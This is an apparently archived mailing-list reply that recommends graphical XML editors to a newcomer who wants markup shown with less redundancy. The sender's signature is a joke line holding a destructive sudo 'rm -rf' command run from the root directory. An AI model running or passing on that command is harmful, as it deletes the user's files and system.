leap@g... wrote:

> I'm very new to XML, and have only spent about
> 10 minutes looking for something I already know
> I want. Pardon me if the availability of what
> I want is common knowledge among XML cognoscenti.
> 
> My subject line doesn't really do justice to
> my meaning.
> 
> What I want is an editor for XML that displays
> XML with a lot less redundancy.

See the notes on editors in the FAQ at
http://xml.silmaril.ie/developers/software/

> For example, the XML snippet as follows
[...]
> would be rendered in the hypothetical editor
> pane somewhat like this:
> 
> =========================
> configuration-file
>   section name="section1"
>     entry name="name1" value="value1"
>           name="name2" value="value2"
>   section name="section2"
>     entry name="someothername" value="someothervalue"
> =========================

Are you looking for a plaintext editor or a synchronous typographical editor
(what people call "GUI" or "WYSIWYG" or "graphical" editors)? 

I don't know any plaintext editor that can hide the pointy brackets and the
slashes, although you could probably write some elisp to make Emacs do it
in xxml-mode.

"Graphical" editors certainly display the markup in symbolic form, usually
in the form of blocks or pointers of various shapes and colours, and they 
can hide them completely (which is what makes people refer to these editors
as "WYSIWYG"). Some (like epcEdit) can control the amount of information
shown in the graphical tags, so this might be what you want
(www.epcedit.com)

> (2) I don't want to hear about how I should
>     really read and write straight XML, how
>     it's good for my soul, how I won't really
>     understand XML if I don't read and write
>     XML using standard syntactic conventions, how
>     I'm trying to turn XML into some other
>     language, or into a new language, or into
>     COBOL, or whatever, or how existing XML
>     editors, with their color-codings and
>     input helpers, make reading and writing
>     XML "as easy" as what I'm thinking of, after
>     I "get used to it", etc., etc.,

OK. So you only want it *displayed* like the above. Presumably you're
happy that the underlying file remains syntactically intact and correct.

> Even from what little I've read about XML,
> I can see that it affords considerable leverage.
> It's just that I'm not sold on reading and
> writing raw XML (except for self-tutorial
> purposes) if I don't have to.  (If I *do*
> have to, I'd appreciate knowing why, despite
> my whiny and defensive disclaimer point #2,
> above.)

No problem. It sounds as if you're just looking for a graphical editor
rather than a plaintext one. Unfortunately (modulo my comments above),
most of them just let you hide all markup or reveal all markup, rather
than a selective reveal like you describe. 

> This is just a request for information:
> is there something like what I want out
> there somewhere?  If there isn't, is there
> a good reason why not?

If you weren't aware such things existed, of course, you wouldn't have been 
able to ask the question -- in this case it would immeasurably help those of 
us who write the documentation if you could let me know (by email if 
necessary) where you looked for this information and didn't find it, so we 
can update the doc with more useful stuff.

///Peter
-- 
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"